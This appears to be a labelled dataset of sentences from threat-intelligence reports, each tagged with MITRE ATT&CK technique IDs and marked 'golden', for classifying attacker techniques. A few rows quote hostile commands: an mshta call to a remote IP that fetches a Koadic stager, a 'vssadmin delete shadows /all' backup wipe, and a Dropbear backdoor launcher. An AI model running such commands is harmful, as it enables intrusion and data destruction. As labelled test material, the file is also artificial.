"Here is the code:The goal of this code is to get information from the properties of the document (""Subject"", ""Company"", ""Category"", ""Hyperlink base"" and finally ""Comments"")",['T1140 - Deobfuscate/Decode Files or Information'],golden
The Visual Basic macro performs the following tasks:  Opens a handle to the malicious document to read the encoded CAB file Decodes the CAB file and writes it to the disk at %temp%\setup.cab   Encoded CAB file in the Word document,['T1140 - Deobfuscate/Decode Files or Information'],golden
"The most interesting part is the decrypted C&C configuration, as can be seen in the image below",['T1140 - Deobfuscate/Decode Files or Information'],golden
"Backdoor analysis The main loop of the backdoor has two main functions, infoClient and runHandle",['T1140 - Deobfuscate/Decode Files or Information'],golden
"To decode this information, BADNEWS takes the following steps:  Base64-decode the string Perform the decoding cipher used in previous versions Base64-decode the result Decrypt the result using the Blowfish algorithm and a static key  A script, which is included in the Appendix, will decrypt data from these dead drop resolvers",['T1140 - Deobfuscate/Decode Files or Information'],golden
"The unique strings mainly consist of “Mobile/BADDAD“, “Mobile/7B405” and “E9BC3BD76216AFA560BFB5ACAF5731A3”",['T1140 - Deobfuscate/Decode Files or Information'],golden
The decrypted contents of the log file adhere to the format in Figure 22,['T1140 - Deobfuscate/Decode Files or Information'],golden
Decrypted OwaAuth log file format,['T1140 - Deobfuscate/Decode Files or Information'],golden
"""Are you Happy?"" campaign.""FreeMilk"" campaign.""North Korean Human Rights"" campaign.""Evil New Year 2018"" campaign.On January 2nd of 2018, the ""Evil New Year 2018"" was started","['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",golden
"Figure 2: AuditCred/ROptimizer Service If successfully installed, this particular backdoor poses quite a threat to its target","['T1543 - Create or Modify System Process', 'T1543.003 - Create or Modify System Process: Windows Service']",golden
HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules,['T1105 - Ingress Tool Transfer'],golden
"The XSL script contains additional hard coded variables sVarRaz and sVar2RazX, which contain file paths that direct to the downloaded files.   The file’s path",['T1105 - Ingress Tool Transfer'],golden
The config file provides download instructions for the loader,['T1105 - Ingress Tool Transfer'],golden
"Using this information, they can decide to explore further or instruct the compromised computer to download additional malware",['T1105 - Ingress Tool Transfer'],golden
Responds to the IRC server via PRIVMSG with “Download  Success :FilePath=<path to downloaded file>” or “Download Fail” if unsuccessful,['T1105 - Ingress Tool Transfer'],golden
Figure 4: Downloading second stage Seminar.rtf The downloaded Seminar.rtf contains an embedded binary file that is dropped in %temp% via Equation Editor executable,['T1105 - Ingress Tool Transfer'],golden
"Anyconnect[.]stream Bigip[.]stream Fortiweb[.]download Kaspersky[.]science microtik[.]stream owa365[.]bid symanteclive[.]download windowsdefender[.]win  The listed C2 servers all resolved to IPs belonging to a service provider in China at 1.2.9.0/24, which is the IP address used by the C2 server to send a cancel communications message to the end system",['T1105 - Ingress Tool Transfer'],golden
2 Downloads a file to the system,['T1105 - Ingress Tool Transfer'],golden
"This includes, but is not limited to, the following:  AES encryption of network communication File management Functionality to download, upload, and execute files Keylogging Remote desktop access Remote webcam viewing Reverse proxy Browser and FTP client password recovery  The images below are what a target user opening a malicious RTF document would see from within Microsoft Word",['T1105 - Ingress Tool Transfer'],golden
"When opened and then executed, the key components of the HTA file downloads and executes further malware from a remote URLand loads a decoy image hosted externally (Figure 3)",['T1105 - Ingress Tool Transfer'],golden
Use of PowerShell to download additional tools,['T1105 - Ingress Tool Transfer'],golden
"The shellcode of the embedded object is designed to download an image, which is, in fact, a new shellcode used to decode an embedded executable",['T1105 - Ingress Tool Transfer'],golden
"BUGJUICE defaults to TCP using a custom binary protocol to communicate with the C2, but can also use HTTP and HTTPs if directed by the C2",['T1071 - Application Layer Protocol'],golden
"We recently mentioned this tool in another report on April 16, as this variant of the BONDUPDATER tool used DNS tunneling to communicate with its C2, specifically using TXT queries to receive information from the C2 server",['T1071 - Application Layer Protocol'],golden
"Server Command and control server that communicates via DNS tunneling   Panel Graphical User Interface that allows actors to issue commands, upload and download files to Agents via the Server    Table 2",['T1071 - Application Layer Protocol'],golden
The Poison Frog server handles both the HTTP and DNS tunneling channels used by the hUpdater.ps1 and dUpdater.ps1 scripts,['T1071 - Application Layer Protocol'],golden
Its C2 is based on IIS using .asp technology to handle the victims’ HTTP requests,['T1071 - Application Layer Protocol'],golden
Later variants upload the file to a web server via an HTTP post command,['T1071 - Application Layer Protocol'],golden
"All subsequent interaction with the C2 server uses the same SOAP web service, so we will not show all of the generated HTTP requests",['T1071 - Application Layer Protocol'],golden
"To obtain strings to treat as commands, the payload will issue a series of DNS queries to resolve domains with the following structure: <system id>-<job ID>-<offset data specific to job>.<c2 domain> The C2 server will provide responses to these queries that contain answers in IPv4 or IPv6 addresses depending on the type of DNS query the payload uses to communicate with its C2 server",['T1071 - Application Layer Protocol'],golden
"For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request",['T1071 - Application Layer Protocol'],golden
"If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling",['T1071 - Application Layer Protocol'],golden
"The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure:http://<c2 domain>/resp?<hex(Environment.UserName/Environment.MachineName)>AAZ<hex(command prompt output)> The upload command (2) writes data provided by the C2 to a specified file",['T1071 - Application Layer Protocol'],golden
We have seen the following HTTP POST parameters within the Zebrocy C++ samples: porg structOne oq volume DDE Details The author of the DDE document used in the February 2018 attacks used some obfuscation techniques in an attempt to evade detection,['T1071 - Application Layer Protocol'],golden
"XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system",['T1071 - Application Layer Protocol'],golden
"For instance, when using this string we observed DNS queries for “apple-search.infoclose”, as the string “close” was supposed to be the next portion of the C2 URL",['T1071 - Application Layer Protocol'],golden
The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443,['T1071 - Application Layer Protocol'],golden
"In the order to run the SSH server, the attackers created a VBS file with the following content: Set WshShell = CreateObject(“WScript.Shell”) WshShell.CurrentDirectory = “C:\WINDOWS\TEMP\Dropbear\” WshShell.Run “dropbear.exe -r rsa -d dss -a -p 6789”, 0, false As is evident here, the SSH server will accept connections on port number 6789",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"The embedded VBScript is retrieved from a resource and decrypted using the same algorithm as discussed above, which results in the following cleartext:       set objshell = createobject(\""wscript.shell\"")objshell.run \""mshta hxxp://86.106.131.177:6500/zIZFh\"",vbhide     The Koadic C2 server will respond to this request with Javascript code that acts as the Koadic staging payload, which allows the actor to run additional Koadic modules on the end system to carry out their post-exploitation activities",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"NavRAT then creates a registry key in order to execute this file copy at the next reboot of the system, an initial method of persistence",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"This file is then copied to a filename of ‘Windows Update.lnk’, which is placed in the startup path previously identified",['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
This shortcut file points to the path of the previously written ‘winhelp.cpl’ file,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],golden
"It then sends the following IRC commands: NICK bxphzrjbxp USER bxphzrjbxp bxphzrjbxp bxphzrjbxp bxphzrjbxp To make sure it connected to the correct server, the Trojan checks for the message sent from the IRC server after the bot connects: Welcome to the MpkNet IRC Network The MPK bot does not join a specific IRC channel, instead sending private messages (PRIVMSG) to a user with the nick “mpk”",['T1132 - Data Encoding'],golden
This encoded information then gets an additional header added and sent across the network.,['T1132 - Data Encoding'],golden
Attack Overview The attack starts with Microsoft Word documents containing a malicious VBA macro being attached to spear phishing emails,['T1598.002 - Spearphishing Attachment'],golden
Attached to this email was a malicious Microsoft Word document (MD5: f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158,['T1598.002 - Spearphishing Attachment'],golden
"Like past attacks, the initial infection vector is a malicious Word document attached to a phishing email that is well-tailored to the targeted business and its day-to-day operations",['T1598.002 - Spearphishing Attachment'],golden
"MAGIC HOUND TOOLSET The Magic Hound attacks did not rely on exploit code to compromise targeted systems, instead relying on executables and Microsoft Office documents, specifically Excel and Word documents containing malicious macros",['T1598.002 - Spearphishing Attachment'],golden
"The emails had a malicious Excel macro document attached, which when executed led to a new Microsoft Visual Basic (VB) script-based malware family which we are dubbing “BabyShark”",['T1598.002 - Spearphishing Attachment'],golden
"The initial infection vector of this campaign is a Microsoft Office Excel Worksheet with an Office macro that uses the mshta.exe Windows executable to run scripts, which are embedded in the HTML of a specially-crafted blogspot.com page",['T1598.002 - Spearphishing Attachment'],golden
"The majority of delivery documents contain a generic lure image requesting the victim enable macros with no additional content, the adversaries seemingly relying solely on lure filenames to entice victims to launch the malicious document",['T1204 - User Execution'],golden
"These documents contained malicious OLE objects used to drop binaries.This time, however, they contained malicious OLE (Object Link Embedded) objects.Initial analysis confirmed two similarly sized OLE object files within this document which appeared to be the same from an execution point of view.The two dropped binaries were stored and executed in this location during our analysis:C:\Users\ADMINI~1\AppData\Local\Temp\Hwp (2).exeC:\Users\ADMINI~1\AppData\Local\Temp\Hwp (3).exeInitial analysis showed some sloppy cleaning up from Group123, which we used later to determine that separate campaigns were the work of this same actor, as compilation artifacts remained within the binaries:e:\Happy\Work\Source\version 12\T+M\Result\DocPrint.pdbThe second stage of the dropped binaries was used to execute wscript.exe while injecting shellcode into this process",['T1204 - User Execution'],golden
Cluster A Case 1: Delivery via document property macro – a789a282e0d65a050cccae66c56632245af1c8a589ace2ca5ca79572289fd483  In our research we found at least one attack against a company leveraging a Microsoft Office Excel document with an embedded macro to launch the malware,['T1204 - User Execution'],golden
Whitefly first infects its victims using a dropper in the form of a malicious .exe or .dll file that is disguised as a document or image.,['T1204 - User Execution'],golden
"The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN",['T1553.002 - Code Signing'],golden
The DLL is also digitally signed by a certificate from “AirVPN”,['T1553.002 - Code Signing'],golden
"If the <flag> field of the message header is greater than one, the XOR key used to encrypt message bodies is iterated in reverse when encrypting and decrypting messages",['T1573 - Encrypted Channel'],golden
"Initially, the key is sent to the C2 server with the entire message and headers encrypted with the RSA key exchange algorithm",['T1573 - Encrypted Channel'],golden
The AES key is unique for each communication and is encrypted with one of two RSA public keys,['T1573 - Encrypted Channel'],golden
"One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server",['T1102 - Web Service'],golden
The tool would connect to the SQL SharePoint database and issue a query to dump all data from the database to a temporary file affixed with 'spdata',['T1003 - OS Credential Dumping'],golden
"The information contained in this data dump include:  Stolen credentials Potential systems to login to using stolen credentials Deployed webshell URLs Backdoor tools Command and control server component of backdoor tools Scripts to perform DNS hijacking Documents identifying specific individual operators Screenshots of OilRig operational systems  The Leak In mid-March 2019, an unknown entity appeared on several hacking forums and Twitter with the user handle @Mr_L4nnist3r claiming they had access to data dumps involving internal tools and data used by the OilRig group",['T1003 - OS Credential Dumping'],golden
"The credentials appear to have been stolen via multiple techniques, including using post-exploition password recovery tools such as MimiKatz or its variant ZhuMimiKatz",['T1003 - OS Credential Dumping'],golden
"In addition to these tools, we believe OilRig attackers obtained credentials through, bruteforcing, SQL injections, and using traditional credential harvesting toolkits as we discussed in the Striking Oil blog published in September 2017",['T1003 - OS Credential Dumping'],golden
"We are unable to confirm if all of these stolen credentials are indeed valid sets of credentials, but based upon previously observed activity, timestamping, and known behaviors, it is highly probable that these credentials were or may still be valid",['T1003 - OS Credential Dumping'],golden
"Vault was implemented in Windows 7, it contains any sensitive data (like the credentials) of Internet Explorer",['T1003 - OS Credential Dumping'],golden
"Also, the use of the  mimikatz and pwdump tools suggests the adversary attempts to dump credentials on compromised systems",['T1003 - OS Credential Dumping'],golden
"DRIVE Lists the logical drives and the type, as well the total/free space of the fixed devices",['T1083 - File and Directory Discovery'],golden
Command Description   !Dir Lists the contents of a specified directory   !Drives Enumerates the storage drives attached to the system and their respective type,['T1083 - File and Directory Discovery'],golden
The dropped files are either in the root of the “ProgramData” folder or in a subdirectory,['T1083 - File and Directory Discovery'],golden
"Figure 7: Property list file in LaunchAgents directory To camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd –launchd netlogon.bundle",['T1083 - File and Directory Discovery'],golden
.iqy files are simple text files containing a URL which are opened by default by Excel,['T1083 - File and Directory Discovery'],golden
These platforms may not be well maintained and may break intermittently,['T1083 - File and Directory Discovery'],golden
"Open directory listing of hxxp://stevemike-fireforce[.]info/ Based on the contents and structure of the initial identified open directories, it was possible to find several infrastructure patterns in use",['T1083 - File and Directory Discovery'],golden
"Figure 2: Zyklon attack flow Infection Techniques CVE-2017-8759 This vulnerability was discovered by FireEye in September 2017, and it is a vulnerability we have observed being exploited in the wild",['T1203 - Exploitation for Client Execution'],golden
"Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious “scriptlet” file, or .sct file, which is also embedded in the malicious RTF document",['T1203 - Exploitation for Client Execution'],golden
"Attack chain of Tropic Trooper’s operations Here’s a summary of the attack chain of Tropic Trooper’s recent campaigns:  Execute a command through exploits for CVE-2017-11882 or CVE-2018-0802, security flaws in Microsoft Office’s Equation Editor (EQNEDT32.EXE)",['T1203 - Exploitation for Client Execution'],golden
The attack involved the new HAWKBALL backdoor being delivered via well-known Microsoft Office vulnerabilities CVE-2017-11882 and CVE-2018-0802.,['T1203 - Exploitation for Client Execution'],golden
"The attacker leveraged multiple exploits, targeting both CVE-2014-6332 and CVE-2014-4113",['T1068 - Exploitation for Privilege Escalation'],golden
"Organizations that Buckeye targeted over time, per region Malware and tools Buckeye uses a number of hacking tools as well as malware",['T1518.001 - Software Discovery: Security Software Discovery'],golden
"This group was observed using tactics such as registering typosquatting domains for security or technology vendors, abusing open-source penetration testing tools, and leveraging novel file types as anti-analysis techniques",['T1518.001 - Software Discovery: Security Software Discovery'],golden
"Keep security software up-to-date with the latest definitions  Protection Norton Security, Symantec Endpoint Protection, and other Symantec security products protect users against these threats through the following detections: AV  Backdoor.Cadelspy Backdoor.Remexi Backdoor.Remexi.B  IPS  System Infected: Backdoor.Cadelspy Activity 2 System Infected: Backdoor.Remexi Activity  Indicators of compromise We have also compiled an indicators-of-compromise document containing further details which can be used to help identify the threats if they are present in your environment",['T1518.001 - Software Discovery: Security Software Discovery'],golden
"Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint",['T1518.001 - Software Discovery: Security Software Discovery'],golden
[9] “HKU concern group raises proxy fears in key vote.” EIJ Insight,['T1090 - Proxy'],golden
"In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment",['T1021.001 - Remote Services: Remote Desktop Protocol'],golden
APT40 has been observed consolidating files acquired from victim networks and using the archival tool rar.exe to compress and encrypt the data before exfiltration,['T1560 - Archive Collected Data'],golden
The results are Gzipped and saved under random file in the temp folder.,['T1560 - Archive Collected Data'],golden
"TG-3390 attempts to reenter the environment by identifying accounts that do not require two-factor authentication for remote access solutions, and then brute forcing usernames and passwords",['T1110 - Brute Force'],golden
"This version injects a malicious module into one of Avast's processes, whereas early versions of the campaign detected Avast and quit",['T1055 - Process Injection'],golden
Injects ma32.dll into “wwahost.exe” or “audacity.exe”,['T1055 - Process Injection'],golden
"FakeRun’s PDB string (D:\Work\Project\VS\house\Apple\Apple_20180115\Release\FakeRun.pdb) indicates the loader will execute dllhost.exe and inject one malicious DLL file, which is the backdoor, into this process",['T1055 - Process Injection'],golden
"20 New processes The malicious svchost constantly queries ieframe.dll, as well as IWebBrowser2 Interface using CLSID dc30c1661-cdaf-11D0-8A3E-00c04fc9e26e, both key components to interact with Internet Explorer",['T1055 - Process Injection'],golden
The encoded payload was a Cobalt Strike httpsstager that was injected into the PowerShell process that ran the command,['T1055 - Process Injection'],golden
"After finding the process id, the shellcode uses standard functions to allocate and write memory within Explorer and then uses low-level API RtlCreateUserThread for thread injection.",['T1055 - Process Injection'],golden
"Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information",['T1047 - Windows Management Instrumentation'],golden
"Subscriptions consist of three core WMI classes: a Filter, a Consumer, and a FilterToConsumerBinding",['T1047 - Windows Management Instrumentation'],golden
This suggests that other WMI-based VM detection techniques may also detect certain physical systems if those systems do not support the specific WMI query,['T1047 - Windows Management Instrumentation'],golden
Perhaps they plan to pair this stealer with another dropper that maintains the WMI anti-AV functionality,['T1047 - Windows Management Instrumentation'],golden
"FeedBack.php validates the sender by User-Agent, saves the data in the “RAR” server directory and stores the metadata in the mssql database for later reference",['T1074 - Data Staged'],golden
On the next step this file is executed by rundll32.exe via the KlpSvc export,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],golden
19-1 regsvr32 running the .dlls  Fig,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],golden
It should be noted that in most of these cases the backdoor was embedded as a packed payload in another executable or in a weaponized document file of some kind,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
"An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed",['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
"Obfuscation While the downloader module is not packed, the backdoor is packed with a modified version of UPX",['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes,['T1027.002 - Obfuscated Files or Information: Software Packing'],golden
"This is consistent with most espionage-motivated adversaries, as once the adversary gains access via legitimate credentials, they are able to masquerade as a legitimate user and essentially become an insider threat",['T1036 - Masquerading'],golden
CTU researchers identified BRONZE UNION actors using a file named ms.exe that was likely a credential-abuse tool from the Kekeo toolset,['T1036 - Masquerading'],golden
"Bankshot implants are distributed from a domain with a name similar to that of the cryptocurrency-lending platform Falcon Coin, but the similarly named domain is not associated with the legitimate entity",['T1036 - Masquerading'],golden
"Additionally, some of this early activity shares a similarity with current FIN7 operations – the use of Power Admin PAExec for lateral movement",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],golden
"There was a slight deviation in the November grouping, where the three samples we collected still used the Joohn author name for the last modified field but reverted to a default USER/user author name for the creator field",['T1033 - System Owner/User Discovery'],golden
"Also, this variant of OopsIE uses the output of the whoami command as the parameter within the URL when communicating with the C2 server, which differs from the previous OopsIE variant that used the hostname and username from the environment variables",['T1033 - System Owner/User Discovery'],golden
These strings have the following format:uuid=[Victim ID]#un=[Username]#cn=[Hostname]#on=[OS Version]#lan=[IP Address]#nop=#ver=1.0uuid=[Victim ID]#un=[Username]#An example of the first string may be seen below:uuid=e29ac6c0-7037-11de-816d-806e6f6e696351c5#un=Josh Grunzweig#cn=WIN-LJLV2NKIOKP#on=mav6miv1#lan=192.168.217.141#nop=#ver=1.0It should be noted that the variables used for this string are different from previous versions,['T1033 - System Owner/User Discovery'],golden
"When the malicious ISAPI filter captures a username matching this variable, it knows to handle the incoming HTTP request as a command to the web shell",['T1033 - System Owner/User Discovery'],golden
Code comparison between the default batch script issued by Poison Frog’s C2 and a batch script received by the Helminth Trojan Webshells The data dump included several different webshells apparently used by OilRig to interact with compromised servers,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",golden
"When, finally, the first stage shellcode receives a special “FF” signal, it then executes the delivered shellcode","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",golden
"Specifically, we discovered code in the PowerShell script that was a match for code in Magic Unicorn containing the comment “one line shellcode injection with native x86 shellcode”","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",golden
"However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware","['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",golden
The full contents of the batch script are given in Appendix C – a.bat,"['T1059 - Command and Scripting Interpreter', 'T1064 - Scripting']",golden
"Can capture all screen (“AllScreen”) or the active window (“ActiveWindow”)   -ms Screenshot file name to save in Cache006 subdirectory, zipped with password from configuration",['T1113 - Screen Capture'],golden
"The second email references a Hong Kong University alumni organization that fears votes in a referendum to appoint a Vice-Chancellor will be co-opted by pro-Beijing interests.[9]  Figure 1: Lure Screenshots The group’s previous activities against financial and policy organizations have largely focused on spear phishing emails written in English, destined for Western audiences",['T1113 - Screen Capture'],golden
The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system,['T1113 - Screen Capture'],golden
"It also deletes Windows Event Logs : Application, Security, Setup, System",['T1070 - Indicator Removal on Host'],golden
"As mentioned previously, Buckeye also uses a number of hacking tools, including the following: Keylogger: The keylogger is configured using the command line parameters: NetworkService, Replace, Install, Register and Unregister",['T1056 - Input Capture'],golden
Example of decoded keylogger output,['T1056 - Input Capture'],golden
"XAgent C2 Communications The macOS variant of XAgent has ability to receive commands from threat actors via its command and control channel, but is also capable of logging key strokes via its keylogger functionality",['T1056 - Input Capture'],golden
"(Source: SecureWorks) Some payloads leveraged DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"Hunter queried the following URIs in a specific order to determine if the associated software configurations are insecure, and all queries contained the HttpClient User-Agent:  GET /manager/html/ — Tomcat web application manager GET /jmx-console/ — JBoss configuration GET /CFIDE/administrator/login.cfm — ColdFusion configuration  Installation TG-3390 uses DLL side loading, a technique that involves running a legitimate, typically digitally signed, program that loads a malicious DLL",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],golden
"Figure 1: Code from 29[.]html scheduling the first task to run a script from pastebin The second task (“MSOFFICEER”) in Figure 2 runs the script contents of a different page of the same blog, blog-page[.]html, every 100 minutes","['T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task']",golden
"Cyber threat groups’ access to the media organization’s networks could potentially provide the government advance warning on upcoming protests, information on pro-democracy group leaders, and insights needed to disrupt activity on the Internet, such as what occurred in mid-2014 when several websites were brought down in denial of service attacks.[8] Threat Actors Use Spear Phishing Written in Traditional Chinese Script in Attempted Intrusions In August 2015, the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations, including newspapers, radio, and television",['T1598.003 - Spearphishing Link'],golden
"Group123 Links?  As we explore the Korean malware landscape, we always have burning questions relating to any possible links with Group123",['T1598.003 - Spearphishing Link'],golden
"It’s important to remember, that while we were using Bitly links to help gauge click location, anyone who clicks these links (including researchers) are also counted",['T1598.003 - Spearphishing Link'],golden
"Visitors are asked to download the “University Of Oxford Job Symposium Pre-Register Tool”:  The downloaded file (which is also signed with an AI Squared certificate), is a fake registration tool built by the attackers: OxfordSymposiumRegTool.exe f77ee804de304f7c3ea6b87824684b33 If run by the victim, their computer would get infected, while they are shown this registration process:    Note that after completing the “registration process”, the victim is asked to send the form to an email address in oxford-careers[.]com, which also belongs to the attackers",['T1057 - Process Discovery'],golden
Verifies that there is no process with the name “rsyncd” on the active process list (“dbus-inotifier” if the Trojan does not have root privileges),['T1057 - Process Discovery'],golden
It is created as a separate process instead of child process of Office applications,['T1057 - Process Discovery'],golden
"After writing to this file, the Trojan will enter a loop to continually to check for changes to the modification time of this file, effectively waiting for the actor to make modifications to the file",['T1070.006 - Indicator Removal on Host: Timestomp'],golden
- There were two interesting sub-classes found inside Main Activity: Receiver and Sender,['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools: Komplex: /Users/kazak/Desktop/Project/komplex XAgent OSX: /Users/kazak/Desktop/Project/XAgentOSX We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system",['T1087 - Account Discovery'],golden
"Section 1 The first section of the PowerShell script is responsible for setting different key variables that are used by the remaining sections of the PowerShell script, especially the following variables:  TEMpPAtH = ""C:\ProgramData\"" (the path used for storing the temp files) Get_vAlIdIP = https://api.ipify.org/ (used to get the public IP address of the machine) FIlENAmePATHP = WindowsDefender.ini (file used to store Powershell code) PRIVAtE = Private Key exponents PUbLIc = Public Key exponents Hklm = ""HKLM:\Software\"" Hkcu = ""HKCU:\Software\"" ValuE = ""kaspersky"" SYSID DrAGon_MidDLe = [array of proxy URLs]  Among those variables, there is one variable of particular interest, DrAGon_MidDLe, which stores the list of proxy URLs (detailed at the end of the blog in the Network Indicators portion of the Indicators of Compromise section) that will be used to interact with the C2 server, as shown in Figure 12","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"After decoding out the blob, analysts found a PowerShell script.","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"The macro contains a PowerShell script to persist in the ""Run"" registry key, ""KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding"".","['T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",golden
"A code comparison of hash 12c786c490366727cf7279fc141921d8 with hash 6de6a0df263ecd2d71a92597b2362f2c (from November 28, 2017).  Conclusion We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey (and possibly other countries)",['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],golden
The payload then calls the VirtualAllocEx API to create a buffer in the newly hollowed process and the WriteProcessMemory API to write the supplied data buffer that contains the code to inject to this newly created buffer,['T1106 - Native API'],golden
"FInally , the newest sample uses dynamic API lookups to attempt to make static disassembly harder to understand.",['T1106 - Native API'],golden
Unpacks the code in memory via process hollowing,['T1055.012 - Process Injection: Process Hollowing'],golden
"The specific sandbox checks include:  Using WMI to check BIOS version (SMBIOSBIOSVERSION) for VBOX, bochs, qemu, virtualbox and vm","['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",golden
"Mouse Pointer Check The Trojan will perform the following WMI query:   Select * from Win32_PointingDevice   The Trojan will check the Caption, Description, HardwareType, InfSection, Manufacturer and Name fields in the results for the string VMware, Virtual, VBox, VM or Oracle","['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",golden
The OopsIE payload checks to see if the result of this query as more than 0 elements to determine if it is running on a virtual machine,"['T1497.001 - Virtualization/Sandbox Evasion: System Checks', 'T1497 - Virtualization/Sandbox Evasion']",golden
"Microphone, Voice IP applications",['T1123 - Audio Capture'],golden
"After the encryption of file, it will delete shadow copies with the command “ vssadmin delete shadows /all ” to ensure that all the data cannot be restored easily.",['T1485 - Data Destruction'],golden
"Once encrypted, the system information is sent in the body of an HTTP POST",['T1486 - Data Encrypted for Impact'],golden
MS\d{2}-\d{3},['T1210 - Exploitation of Remote Services'],golden
HKCU\Software\Microsoft\Office test\Special\Perf,['T1137 - Office Application Startup'],golden
VPN and to persist in same sentence,['T1133 - External Remote Services'],golden
C:\Windows\System32\utilman.exe,['T1546.008 - Event Triggered Execution: Accessibility Features'],golden
!ExeCuteFile Executes a specified file using ShellExecuteA   !DeleteFileFolder Deletes a file or a folder   !SendkeyLogToServer Uploads the %TEMP%\Save.tmp file to the C2 server   !DeleteKeyloggerLog Deletes the %TEMP%\Save.tmp file on the system    Table 2 Commands available within MPK IRC Bot   The post Magic Hound Campaign Attacks Saudi Targets appeared first on Palo Alto Networks Blog,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged']",golden
"^testmode Runs the test function to determine which DNS query types can successfully communicate with the C2   ^showconfig Creates a pipe delimited (“|”) string that contains the sample’s settings, including the list of C2 domains and available DNS query types","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",golden
"10 Ensuring the files have been downloaded After the malware is downloaded and files verified, the script will check in the C:\Program Files\ directory for the presence Avast antivirus, which happens to be the most common installed AV worldwide","['T1083 - File and Directory Discovery', 'T1105 - Ingress Tool Transfer']",golden
25 26 ix32.dll ix64.dll LoadLibrary call template dll is used by Reinstaller/Injector plugin (rsXX.dll) for injecting LoadLibrary call into running processes,"['T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",golden
"Additionally, the first stage JavaScript creates a scheduled task that executes the second stage code within a minute – this delayed execution helps to bypass behavior analysis since the second stage is not directly executed by the first stage","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1074 - Data Staged', 'T1064 - Scripting', 'T1027 - Obfuscated Files or Information']",golden
All subsequent messages are encrypted with AES in CBC mode,"['T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information']",golden
"Analyzing Gold Dragon As part of its initialization, Gold Dragon:  Builds its imports by dynamically loading multiple APIs from multiple libraries Gains debug privileges (“SeDebugPrivilege”) for its own process to read remote memory residing in other processes  The malware does not establish persistence for itself but for another component (if it is found) on the system:  The malware begins by looking for an instance of the Hangul word processor (HWP) running on the system","['T1055 - Process Injection', 'T1057 - Process Discovery']",golden
"An example of 1.hwp with registry and system information:  Gold Dragon executes these steps executed in the exfiltration process:  Once the malware has gathered the required data from the endpoint, it encrypts the data file 1.hwp using the password “www[dot]GoldDragon[dot]com” The encrypted content is written to the data file 1.hwp","['T1074 - Data Staged', 'T1486 - Data Encrypted for Impact']",golden
"A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop","['T1113 - Screen Capture', 'T1105 - Ingress Tool Transfer']",golden
Available Commands The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP request,"['T1071 - Application Layer Protocol', 'T1059 - Command and Scripting Interpreter']",golden
"Buckeye has been known to exploit zero-day vulnerabilities in the past, such as CVE-2010-3962 in an campaign in 2010 and CVE-2014-1776 in 2014","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",golden
